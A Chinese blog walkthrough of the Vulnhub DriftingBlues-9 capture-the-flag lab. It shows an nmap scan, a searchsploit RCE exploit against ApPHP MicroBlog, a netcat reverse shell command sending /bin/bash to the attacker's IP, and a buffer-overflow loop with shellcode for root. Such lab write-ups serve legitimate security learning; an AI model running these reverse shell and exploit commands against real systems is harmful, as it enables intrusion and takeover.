当前位置:网站首页>看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
看完这篇 教你玩转渗透测试靶机Vulnhub——DriftingBlues-9
2022-07-03 01:01:00 【落寞的魚丶】
Vulnhub靶机DriftingBlues-9渗透测试详解
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这期更新一下Vulnhub DriftingBlues 系列 还是老样子找到FLAG即可,可能比较偏向CTF点。
Vulnhub靶机下载:
官网地址:https://www.vulnhub.com/entry/driftingblues-9-final,695/
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover
发现主机
渗透机:kali IP :192.168.205.133 靶机IP :192.168.205.145
使用命令:
nmap -sS -A -T4 -n 192.168.205.145
开启了80
端口和111
端口 老样子先访问80
端口 直接查看源代码 发现了ApPHP MicroBlog
版本 为 v.1.0.1
(第一次遇到)
②:漏洞利用:
使用searchsploit
搜索相关漏洞 第二个就可以利用
使用命令将利用的脚本复制到本地:searchsploit -m php/webapps/33070.py
使用python2
执行脚本:python2 ./33070.py http://192.168.205.145
发现了数据库信息 里面有账号和密码 分别是:clapton/yaraklitepe
使用命令:ls /home
发现和数据用户一样 也可以 cat /etc/passwd
查看是否有nc
: whish nc
③:反弹shell:
在 kali
开启 nc
监听:nc -lvp 6666
在shell
执行:nc 192.168.205.133 6666 -e /bin/bash
使用命令交互shell
:python -c 'import pty;pty.spawn("/bin/bash")'
尝试切换用户 :clapton / yaraklitepe
获取到了第一个flag
④:缓冲区溢出提权:
这里给的提示 缓冲区才是解决方法(什么缓冲区!!!第一次遇到不会pwn)
for i in {
1..10000}; do (./input $(python -c 'print("A" * 171 + "\x10\x0c\x97\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done
具体参考:https://www.ngui.cc/article/show-373956.html
https://blog.csdn.net/qq_32261191/article/details/117908644
⑤:获取flag:
至此获取到了所有得flag,渗透测试结束。
Vulnhub靶机渗透总结:
①:searchsploit
工具的用法
②:RCE
漏洞利用
③:缓冲区溢出提权(因为没基础所以还不怎么会 后续在学)
这也是DriftingBlues系列最后一个靶机的学习啦,希望大家也可以学习到新的一些知识点和一些渗透测试思路
最后创作不易 希望对大家有所帮助!!
边栏推荐
- Appuyez sur l'apprentissage de l'esprit de frappe - reconnaissance des coordonnées de fond multithreadées
- 关于Fibonacci数列
- Arduino dy-sv17f automatic voice broadcast
- (C language) data storage
- Strongly connected components of digraph
- Excel calculates the difference between time and date and converts it into minutes
- Key wizard play strange learning - front desk and Intranet send background verification code
- 2022 Jiangxi Provincial Safety Officer B certificate reexamination examination and Jiangxi Provincial Safety Officer B certificate simulation examination question bank
- [shutter] image component (cached_network_image network image caching plug-in)
- ROS2之ESP32简单速度消息测试(极限频率)
猜你喜欢
JS inheritance and prototype chain
RISA rz/g2l processor introduction | frame diagram | power consumption | schematic diagram and hardware design guide
Telephone network problems
[Androd] Gradle 使用技巧之模块依赖替换
异步、郵件、定時三大任務
Explain the basic concepts and five attributes of RDD in detail
[flutter] icons component (load the built-in icon of flutter | display the material design icon completely)
MySQL
[C language] branch and loop statements (Part 1)
leetcode:701. Insertion in binary search tree [BST insertion]
随机推荐
Makefile中wildcard、patsubst、notdir的含义
excel去除小数点后面的数据,将数字取整
Esp32 simple speed message test of ros2 (limit frequency)
按鍵精靈打怪學習-多線程後臺坐標識別
R language ggplot2 visualization: use ggplot2 to display dataframe data that are all classified variables in the form of thermal diagram, and customize the legend color legend of factor
【C语言】指针与数组笔试题详解
Merge K sorted linked lists
excel表格计算时间日期的差值,并转化为分钟数
Kivy教程大全之如何在 Kivy 中创建下拉列表
[untitled]
鏈錶內指定區間反轉
Excel calculates the difference between time and date and converts it into minutes
Key wizard play strange learning - front desk and Intranet send background verification code
excel IF公式判断两列是否相同
leetcode 2097 — 合法重新排列数对
The difference between relational database and non relational database
leetcode:701. Insertion in binary search tree [BST insertion]
产业互联网的产业范畴足够大 消费互联网时代仅是一个局限在互联网行业的存在
Basis of information entropy
12_ Implementation of rolling automatic video playback effect of wechat video number of wechat applet